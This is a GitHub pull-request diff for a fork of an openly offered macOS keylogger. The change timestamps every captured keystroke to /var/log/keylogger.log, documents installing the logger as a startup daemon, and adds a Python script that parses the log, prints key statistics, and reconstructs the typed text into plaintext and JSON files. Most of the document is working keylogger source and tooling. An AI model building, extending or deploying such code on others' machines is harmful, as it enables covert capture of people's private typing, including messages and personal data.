Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
12 changes: 12 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,5 +1,7 @@
# Mac OS X Keylogger

(fork of [`caseyscarborough/keylogger`](https://github.com/caseyscarborough/keylogger]))

This repository holds the code for a simple and easy to use keylogger for Mac OS X. It is not meant to be malicious, and is written as a proof of concept. There is not a lot of information on keyloggers or implementing them on Mac OS X, and most of the ones I've seen do not work as indicated. This project aims to be a simple implementation on how it can be accomplished on OS X.

> Note: This keylogger is currently unable to capture secure input such as passwords. See issue #3 for more information.
Expand All @@ -26,6 +28,16 @@ If you'd like the application to run on startup, run the `startup` make target:
$ sudo make startup
```

You can generate a report using this command:
```bash
$ python report.py
```

This script will print out some interesting statistics such as the the start date and end date of recorded keystrokes, the number of total keystrokes, and a histogram of the most frequent keys.

<img width="549" alt="image" src="https://user-images.githubusercontent.com/13140065/176034556-be451bac-3725-4c79-aaaf-cc3a8ea06f20.png">


## Uninstallation

You can completely remove the application from your system (including the startup daemon) by running the following command (logs will not be deleted):
Expand Down
6 changes: 1 addition & 5 deletions keylogger.c
Original file line number Diff line number Diff line change
Expand Up @@ -41,10 +41,6 @@ int main(int argc, const char *argv[]) {
exit(1);
}

// Output to logfile.
fprintf(logfile, "\n\nKeylogging has begun.\n%s\n", asctime(localtime(&result)));
fflush(logfile);

// Display the location of the logfile and start the loop.
printf("Logging to: %s\n", logfileLocation);
fflush(stdout);
Expand All @@ -61,7 +57,7 @@ CGEventRef CGEventCallback(CGEventTapProxy proxy, CGEventType type, CGEventRef e
CGKeyCode keyCode = (CGKeyCode) CGEventGetIntegerValueField(event, kCGKeyboardEventKeycode);

// Print the human readable key to the logfile.
fprintf(logfile, "%s", convertKeyCode(keyCode));
fprintf(logfile, "%lu : %s\n", (unsigned long) time(NULL), convertKeyCode(keyCode));
fflush(logfile);

return event;
Expand Down
2 changes: 1 addition & 1 deletion keylogger.h
Original file line number Diff line number Diff line change
Expand Up @@ -9,7 +9,7 @@
// https://developer.apple.com/library/mac/documentation/Carbon/Reference/QuartzEventServicesRef/Reference/reference.html

FILE *logfile = NULL;
const char *logfileLocation = "/var/log/keystroke.log";
const char *logfileLocation = "/var/log/keylogger.log";

CGEventRef CGEventCallback(CGEventTapProxy, CGEventType, CGEventRef, void*);
const char *convertKeyCode(int);
Expand Down
117 changes: 117 additions & 0 deletions report.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,117 @@
import pytz
from datetime import datetime
import json
import os
import math

TIMEZONE = pytz.timezone('America/New_York')
MAX_HIST_COUNT = 40

class Keystroke(object):
def __init__(self, timestamp, key):
self.time = datetime.fromtimestamp(timestamp, TIMEZONE)
self.key = key

def to_dict(self):
return {
'time': self.time.isoformat(),
'key': self.key,
}

def convert_size(size_bytes):
""" Source: https://stackoverflow.com/questions/5194057/better-way-to-convert-file-sizes-in-python """
if size_bytes == 0:
return "0B"
size_name = ("B", "KB", "MB", "GB", "TB", "PB", "EB", "ZB", "YB")
i = int(math.floor(math.log(size_bytes, 1024)))
p = math.pow(1024, i)
s = round(size_bytes / p, 2)
return "%s %s" % (s, size_name[i])

def get_keystrokes(filename='/var/log/keylogger.log'):
print('Opening: %s' % filename)
print('File size: %s' % convert_size(os.path.getsize(filename)))
print()

keystrokes = []
with open(filename, 'r') as f:
for line in f:
time = int(line[:10])
key = line[13:-1]
keystrokes.append(Keystroke(time, key))
return keystrokes

def compute_frequences(keystrokes):
freq = {}
for keystroke in keystrokes:
if not keystroke.key in freq:
freq[keystroke.key] = 0
freq[keystroke.key] += 1
return freq

def print_statistics(keystrokes):
start_time = min(ks.time for ks in keystrokes)
end_time = max(ks.time for ks in keystrokes)

print('START/END times')
print('Start time: %s' % start_time.isoformat())
print('End time: %s' % end_time.isoformat())
print('Duration: %s' % (end_time - start_time))
print('Number keystrokes: %d' % len(keystrokes))
print('Unique keys used: %d' % len(set(ks.key for ks in keystrokes)))

def print_histogram(frequencies, max_limit=None):
sorted_frequencies = sorted(frequencies.items(), key=lambda f: f[1], reverse=True)

if max_limit is None:
max_limit = len(sorted_frequencies)
else:
sorted_frequencies = sorted_frequencies[:max_limit]

max_item_length = max(len(x[0]) for x in sorted_frequencies)
max_freq_length = len(str(max(x[1] for x in sorted_frequencies)))
max_freq_value = max(x[1] for x in sorted_frequencies)
hist_scaling_factor = MAX_HIST_COUNT / max_freq_value

format = '%' + str(max_item_length) + 's -> %' + str(max_freq_length) + 'd '

print('HISTOGRAM: Top %d values' % max_limit)
for item, freq in sorted_frequencies:
print((format % (item, freq)) + '*' * int(freq * hist_scaling_factor))

print('Legend: * = %f keys' % (1 / hist_scaling_factor))

def json_serialize(keystrokes, to_filename):
with open(to_filename, mode='w') as f:
json.dump({
'startTime': min(ks.time for ks in keystrokes).isoformat(),
'endTime': max(ks.time for ks in keystrokes).isoformat(),
'keyStrokes': [ks.to_dict() for ks in keystrokes],
}, f, indent=4)

def write_plaintext(keystrokes, to_filename):
shift = False
with open(to_filename, mode='w') as f:
for ks in keystrokes:
if len(ks.key) == 1:
f.write(ks.key.upper() if shift else ks.key)
elif ks.key == '[return]':
f.write('\n')
elif ks.key in ('[left-shift]', '[right-shift]'):
shift = not shift

if __name__ == '__main__':
keystrokes = get_keystrokes()
frequencies = compute_frequences(keystrokes)

print('*** REPORT ***')
print()

print_statistics(keystrokes)
print()

print_histogram(frequencies, max_limit=10)
print()

json_serialize(keystrokes, 'out/pramod.json')
write_plaintext(keystrokes, 'out/pramod.txt')